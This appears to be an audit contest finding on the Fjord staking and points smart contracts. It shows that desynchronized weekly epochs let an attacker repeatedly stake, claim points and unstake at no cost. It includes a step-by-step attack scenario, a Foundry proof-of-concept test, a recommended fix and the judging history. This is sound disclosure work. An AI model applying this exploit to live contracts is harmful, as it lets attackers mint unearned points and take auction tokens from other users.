DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Attacker can mint an infinite amount of points for free

Summary

The FjordStaking contract allows users to stake their Fjord tokens in order to accrue rewards over time. In addition to these rewards, staking allows users to earn points distributed by the FjordPoints contract.

When a user stakes his tokens using FjordStaking::stake(), a call to FjordPoints::onStaked() is made and updates the staked amount in FjordPoints which will be used to account for the points owed to the user.

https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordStaking.sol#L388

function stake(uint256 _amount) external checkEpochRollover redeemPendingRewards {
// ...
//INTERACT
fjordToken.safeTransferFrom(msg.sender, address(this), _amount);
@ points.onStaked(msg.sender, _amount);
emit Staked(msg.sender, currentEpoch, _amount);
}

Moreover, the modifier checkDistribution on FjordPoints::onStaked() is triggered which can update the points distribution mecanism.

https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordPoints.sol#L197-L207

function onStaked(address user, uint256 amount)
external
onlyStaking
checkDistribution
updatePendingPoints(user)
{
UserInfo storage userInfo = users[user];
userInfo.stakedAmount = userInfo.stakedAmount.add(amount);
totalStaked = totalStaked.add(amount);
emit Staked(user, amount);
}

https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordPoints.sol#L232-L248

modifier checkDistribution() {
distributePoints();
_;
}
// ...
function distributePoints() public {
if (block.timestamp < lastDistribution + EPOCH_DURATION) {
return;
}
if (totalStaked == 0) {
return;
}
uint256 weeksPending = (block.timestamp - lastDistribution) / EPOCH_DURATION;
@ pointsPerToken =
pointsPerToken.add(weeksPending * (pointsPerEpoch.mul(PRECISION_18).div(totalStaked)));
totalPoints = totalPoints.add(pointsPerEpoch * weeksPending);
lastDistribution = lastDistribution + (weeksPending * 1 weeks);
emit PointsDistributed(pointsPerEpoch, pointsPerToken);
}

The points owed to users is calculated once every week by the distributePoints() function which updates pointsPerToken.

Once pointsPerToken is updated, users can use claimPoints() to mint their points.

The amount of points earned depends on the amount of tokens staked. These tokens can be unstaked immediately but only if the stake and unstake occur during the same epoch cycle. The epoch cycle in FjordStaking increments every 1 week, starting at 1 when the contract is deployed.

This means, in theory, users have at most 1 week to unstake their tokens.

Vulnerability Details

Both FjordStaking and FjordPoints are intrinsically inter-dependant but they maintain their own 1 week cycles respectively for their accounting operations.

In case they fail to update their respective cycles and end up out-of-sync, points can be minted for free.

Assume the following scenario :

  • FjordPoints is deployed at block.timestamp == 100_000

  • FjordStaking is deployed at block.timestamp == 100_050 (50 seconds after FjordPoints)

  • the attacker FjordStaking::stake() his tokens at block.timestamp == 100_000 + 1 weeks which will internally trigger the points distribution in FjordPoints with the checkDistribution modifier and accrue his points with the updatePendingPoints modifier

  • at this point, the attacker has staked his tokens at FjordStaking::epochDuration == 1 and can FjordPoints::claimPoints()

  • since the FjordStaking is still at epoch 1, the attacker can unstake his tokens at no cost

The attacker has the ability to conduct the attack infinitely within the same block by transferring his tokens to another address he controls.

This means an attacker has the ability to mint an infinite amount of points.

The following PoC demonstrates the scenario described above and shows the attacker is able to mint points at no cost

First, modify the setUp() function in test\FjordStakingBase.t.sol to skip 50 seconds between the FjordPoints and FjordStaking deployments so the contracts are out-of-sync.

function setUp() public {
beforeSetup();
if (!isFuzzOrInvariant) {
vm.createSelectFork({ urlOrAlias: "mainnet", blockNumber: 19_595_905 });
}
if (isMock) {
points = address(new FjordPointsMock());
} else {
points = address(new FjordPoints());
}
+ skip(50);
token = new MockERC20("Fjord", "FJO", 18);
fjordStaking =
new FjordStaking(address(token), minter, SABLIER_ADDRESS, authorizedSender, points);

Then add the following in test\integration\points.t.sol

function testFreePoints() public {
// setup
uint256 tokenAmount = 1000e18;
address attacker = makeAddr("attacker");
deal(address(token), attacker, tokenAmount);
vm.startPrank(attacker);
token.approve(address(fjordStaking), type(uint256).max);
// `lastDistribution` update can occur
// attacker stakes his tokens and triggers the `lastDistribution` update
skip(POINTS.EPOCH_DURATION() - 50);
fjordStaking.stake(tokenAmount);
// attacker can claim his points
POINTS.claimPoints();
// attacker can unstake his tokens for free
fjordStaking.unstake(1, tokenAmount);
vm.stopPrank();
assertEq(token.balanceOf(attacker), tokenAmount);
assertEq(POINTS.balanceOf(attacker), 100 ether);
}

Impact

By minting an infinite amount of points, an attacker is able to bid them in every FjordAuction contract to claim the majority of the auction tokens for himself. This leads to an unfair distribution the auction tokens.

Tools Used

Manual review

Recommendations

Implement a mecanism responsible for both FjordPoints and FjordStaking contracts to be synchronized regarding their respective 1 week cycles.

An example would consist in adding a function in FjordPoints to allow the staking contract to initialize lastDistribution and another in FjordStaking that will set FjordStaking::startTime to the same value

// FjordPoints
function setLastDistribution(uint256 time) external onlyStaking {
if(lastDistribution != 0) revert();
lastDistribution = time;
}
// FjordStaking
function launchProtocol() external onlyOwner {
startTime = block.timestamp;
points.setLastDistribution(block.timestamp);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

greed Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

If epoch end times of FjordStaking and FjordPoints are desynchronized, users will be able to exploit the desynchronization to stake>claim>unstake instantly, getting points they shouldn't

Impact: High - Users are getting an unreasonable amount of points through exploiting a vulnerability Likelihood: Low - Most of the times, when using the script, all deployment tx will get processed in the same block. But, there is a small chance for them to be processed in different blocks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.